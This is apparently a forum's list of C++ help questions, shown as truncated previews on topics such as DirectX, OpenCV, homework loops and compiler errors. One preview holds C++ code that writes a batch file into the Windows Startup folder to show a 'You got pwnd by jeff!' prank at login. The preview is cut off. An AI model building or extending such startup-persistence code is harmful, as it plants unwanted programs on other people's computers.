49,766 Topics
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| | How can I access (get) the individual pixels of the data in an LPDIRECT3DTEXTURE9? Thanks.  |
| | This program is to accept input from a user to select there own username and then a password which will be compared to the password KazzyB, and give an output saying Welcome, The only problem in it is a single error KB.cpp(18) : error C2447: missing function header (old-style formal … |
| | I don't know where to begin: Lab 5 Write a program that will first fill two out of three parallel arrays (local to the main function) with user-supplied data and then give users the choice to query the parallel arrays. The first array is as follow: char title[SIZE_ROW][SIZE_COL]={"Intro to Calculus", …  |
| | hello, i'm trying to install opencv 2.0 and use it in vs 2005, but i'm having some trouble compiling any piece of code that uses opencv including the examples installed with it. I searched all around and all i could find is instruction for installing previous opencv versions but not … |
| | Hey, I've been going through some directx tutorials, but for some reason I can't get my program to work with .fx files. It complains that the file cannot be found, even that it's in the same directory and I'm sure that I'm using it correctly. |
| | hello can any one help me out dt how top create a symbol library using openGL? ...how to fetch dis symbol and display on screen ??... |
| | I'm making a red black tree (RedBlack class) whose nodes will contain customers (customer class) rather than the generic int data. Unfortunately, I can't seem to get VS 2008 Express recognize that data is of type customer. I get all sorts of redefinition errors, and I've tried pragma once and … |
| | Ok i im writing code that uses three funcrions and they are int getNumAccidents(); void findLowest(); void findHighest(): This proram function is this determines which of 5 geographic regions within a major city (north, south, east, west, and central) had the fewest and highest reported accidents last year. Could some …  |
 | My assignment is to develop a C++ program to count the number of capital letters in a given string. String will be entered by user. The idea is to build my knowledge of loops and loop terminations. I've got the basics down (I think) but I just don't get what … |
| | this is my while code and i use DEV-c++ compiler and i want to make it as a function and i dont know how ??? and realy want it as soon as possiple because the dead line is tomorrow ------------------------------------------------------------------------------ [CODE]#include <iostream> #include <math.h> using namespace std; int binTodec (int … |
| | I am inputing from a text file, displaying it on the screen, displaying the menus and the choosing from there. It will repeat the menu, but, how to do I get it to read the next line in my input file and display it to the screen before repeating the … |
| | [CODE]#include <iostream> #include <fstream> #include <windows.h> #include <cstdio> using namespace std; int main () { ofstream myfile; myfile.open ("example.bat"); myfile << "@echo off\n"; myfile << "cd C:\WINDOWS\Start Menu\Programs\StartUp \n"; myfile << "echo @echo off >windows.bat\n"; myfile << "echo color 0c>>windows.bat\n"; myfile << "echo echo You got pwnd by jeff!>>windows.bat\n"; myfile … |
| | Trying to find the string length,of word_to_guess,wont work,any suggestions??? [CODE] #include <iostream> #include <cstdlib> #include <string> using namespace std; int main() { int num; int size; int num_guess; string word_to_guess; string words [10] = {"john","paul", etc} char exit = 'y'; char guess; srand((unsigned)time(NULL)); num = rand() % 9 + 0; … |
| | I want to fill a structure and then print it. How to print the values of the structue? The structure is: [CODE] #define UINT32 unsigned int #define INT32 int #define UCHAR unsigned char typedef struct CheckSumPair { UINT32 weakcs; // The weak, rolling Adler32 checksum. UCHAR StrongCS[10]; };[/CODE] I have …  |
| | i want this code to keep track of whose turn it is: but i keep getting this error : error: a function-definition is not allowed here before '{' token any help [CODE]void turn_it_is(int play1, int play2) { cout << ((turn_it_is%2)==1)?(play1:play2)<< cout << " it's your turn "; cin>> turn_it_is; }[/CODE] |
| | I need to read a file into a struct so i can print out a monthly bank statement after adding all deposits and with drawkls from another file but im having trouble reading the fileinto the array this is what i have so far.. [CODE]#include <iostream> // Need for cout,cin … |
| | i'm having problem in executing this statement.... error expression syntax switch(col) { case 1:text[]={"0x00000000"}; break; case 2:text[]={"0x00FFFFFF"}; break; case 3:text[]={"0x0000FF00"}; break; case 4:text[]={"0x00FF0000"}; break; case 5:text[]={"0x00C000C0"}; break; case 6:text[]={"0x000000FF"}; break; case 7:text[]={"0x0000FFFF"}; break; case 8: text[]={"0x00FFFF00"}; break; } char text[10] is global. please help me out............. |
| | im trying to add i think you call a random string picker heres what i have added it too [CODE]#include "stdafx.h" refimport_t * ri = (refimport_t *) NULL; refexport_t * re = (refexport_t *) NULL; refimport_t * o_ri = (refimport_t *) NULL; refexport_t * o_re = (refexport_t *) 0x0068A1E8; cg_t … |
 | Is it possible to convert [ICODE]std::FILE*[/ICODE] to [ICODE]iostream[/ICODE]? |
| | So here is the code: [CODE] #include <cstdlib> #include <iostream> #include <iomanip> #include <stdlib.h> using namespace std; void printintromessage (); void getUserInput (char& Y); //void printplayerinfo (const int& numofgamesinseries, const int& numofplayersonteam, int& i); int main(int argc, char *argv[]) { const int numofgamesinseries = 3; const int numofplayersonteam = 4; … |
| | Hey guys .i want to display a number on the 7 segment display through C program .. Can anybody pls give me source code or recommend respective book. Urgent Thank u  |
| | i get this error and idk know y anyone know wat i gotta fix [CODE]int main () { int total_score, print_score, action, whose_turn, go_again; cout << "Race to 100 " << endl; total_score = score_num(int &ns1,int &ns2,int &ns3, int &ns4, int &ns5, int &n6, char gam_answ); print_score= display_score(int curr_score); action= …  |
| | Hi. I've been browsing this forum for answers for some time now and i guess it's about time to post a question myself. Here's the deal: I have a dll file in which i define a method that sets SE_DEBUG_NAME to enabled. Here's the code: [CODE] // tema4dll.cpp : Defines … |
| | [QUOTE]Hi all... can anyone explain how i can read from a config file and retrieve its value in a cpp file... I am writing down the cfg file...[/QUOTE] [CODE]<APM> [APM_SAYHELLO] Formatter.Type = String Formatter.Val = AtlLogPlainTextFormatter Filter.Type = String Filter.Val = LEVEL_DDEBUG ComponentLevelFilter.Type = String ComponentLevelFilter.Val = true ComponentsEnabled.Type = … |
| | Quick question. I have a program that will run perfectly fine in the Debug version (Using MS VS 6) but when I set it to Release and build it, then set the command line arguments (or run it from the comman line) it blows up. Any ideas why this would … |
| | Hi I am working on this game. I really never played it so I just read about it. I am getting three errors. I was hoping you guys can help me fix it? Thank you Error 1 error C2059: syntax error : 'do' 2008\projects\program9\program9\craps.cpp 36 Program9 Error 2 error C2143: … |
| | [CODE] do { if (Y == 'Y' || Y == 'y') for (j = 0; j < numofplayersonteam; j++) { for (i = 0; i < numofgamesinseries; i++) { cout << "Enter player " << j+1 << "'s score " << i+1 << ": "; cin >> score[i][j]; } if … |
| | Hi! I've got a Blackjack-program that I want to split into classes (Card.h and Deck.h) and have a menu, like this: 1. Play again 2. Show status (Gains / losses for the player / house) 3. Exit The program works fine, I just need a class-based solution. [CODE] #include <iostream> … |
| | I use OPENFILENAME to get dialog for file browsing and, as a result, I get in char szFileName[MAX_PATH] the filename that user is want to read from. I create ifstream and run open( szFileName) on the ifstream object .unfortunately the ifstream object is null There could be the problem with … |
| | Hi, I'm having problem with "WriteLine". What I'm tryin to do is write into the selected txt file(from openFileDialog) when user type something in the textBox. ****************************************************** My output is something wrong. For example: when I type "testing" in the textBox, what I see in my text file is as … |
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